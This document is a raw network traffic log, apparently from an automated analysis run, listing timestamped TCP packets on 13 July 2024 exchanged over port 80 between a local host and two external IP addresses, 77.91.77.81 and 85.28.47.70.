Jul 13, 2024 07:07:06.286133051 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286142111 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286149979 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286153078 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286166906 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286174059 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286184072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286185980 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286201954 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286210060 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286218882 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286225080 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286236048 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286240101 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286257029 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286269903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286516905 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286533117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286546946 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286559105 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286564112 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286573887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286581993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286585093 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286597967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286606073 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286616087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286623001 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286632061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286639929 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286648989 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286654949 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286664963 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286670923 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286681890 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.286685944 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286699057 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286703110 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286715031 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286719084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.286730051 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286736965 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286746025 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286761045 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286763906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286763906 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286777020 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286792040 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286798000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286798000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286808014 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.286833048 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.286833048 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.287012100 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287018061 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.287028074 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287043095 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287051916 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287058115 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287064075 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287075043 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287077904 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287091017 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287102938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287106991 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287111998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287122965 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287122965 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287138939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287142992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287154913 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287163973 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287169933 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287177086 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287188053 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287192106 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287204027 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287209988 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287220955 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287230015 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287236929 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287247896 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287255049 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287261963 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287270069 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287276983 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287287951 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287291050 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287305117 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287308931 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287322044 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287322998 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287338972 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287353992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287534952 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287549973 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287564993 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287574053 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287580967 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287595034 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287601948 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287614107 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287615061 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287617922 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287635088 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287642956 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287651062 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287662983 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287667990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287678957 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287683964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287689924 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287700891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287705898 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287725925 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287730932 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287739992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287748098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287764072 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287770987 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287780046 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287789106 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287796974 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287801027 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287822008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287832975 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.287962914 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.287998915 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288002014 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288018942 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288049936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288049936 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288088083 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288104057 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288119078 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288134098 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288141012 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288151026 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288167953 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288189888 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288197041 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288212061 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288235903 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288248062 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288263083 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288278103 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288295031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288299084 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288311958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288319111 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288336992 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288348913 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288376093 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288391113 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288407087 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288413048 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288424015 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288425922 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288441896 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288450003 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288459063 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288472891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288475990 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288508892 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.288510084 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.288574934 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289176941 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289191961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289207935 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289236069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289247990 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289262056 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289263964 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289280891 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289289951 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289294958 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.289304972 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289320946 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.289335966 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.327867031 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327884912 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327902079 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327922106 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327939987 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327955961 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.327954054 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.327955008 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.328043938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.328043938 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.328075886 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.328093052 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.328125954 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.328160048 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333334923 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333400011 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333400011 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333416939 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333448887 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333482981 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333502054 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333518028 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333534002 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333548069 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333549976 CEST	80	58982	77.91.77.81	192.168.2.5
Jul 13, 2024 07:07:06.333575964 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333576918 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.333610058 CEST	58982	80	192.168.2.5	77.91.77.81
Jul 13, 2024 07:07:06.369242907 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369277000 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369302988 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369318962 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369333982 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369337082 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369349003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369364977 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369391918 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369391918 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369393110 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369416952 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369424105 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369432926 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369447947 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369452000 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369463921 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369481087 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369488955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369488955 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369496107 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369510889 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369525909 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369525909 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369527102 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369541883 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369556904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369556904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369570971 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369584084 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369584084 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369605064 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369637012 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369669914 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369678974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369678974 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369702101 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369745970 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369745970 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369755983 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369803905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369820118 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369836092 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369868994 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369884014 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369904995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369937897 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369942904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369942904 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.369971037 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.369973898 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370002985 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370035887 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370043993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370043993 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370071888 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370093107 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370125055 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370157003 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370176077 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370176077 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370189905 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370220900 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370254040 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370261908 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370261908 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370286942 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370320082 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370327950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370327950 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370354891 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370393991 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370393991 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370405912 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370438099 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370450020 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370470047 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370503902 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370537043 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370556116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370556116 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370568991 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370601892 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370632887 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370641947 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370641947 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370682001 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370713949 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370721102 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370721102 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370748043 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370752096 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370779037 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370814085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370814085 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370829105 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370862007 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370899916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370899916 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370912075 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370945930 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370978117 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.370982885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.370982885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371023893 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371057034 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371066093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371066093 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371098995 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371113062 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371138096 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371170044 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371181011 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371205091 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371232986 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371236086 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371264935 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371296883 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371304989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371304989 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371329069 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371361017 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371368885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371368885 CEST	58981	80	192.168.2.5	85.28.47.70
Jul 13, 2024 07:07:06.371393919 CEST	80	58981	85.28.47.70	192.168.2.5
Jul 13, 2024 07:07:06.371427059 CEST	80	58981	85.28.47.70	192.168.2.5
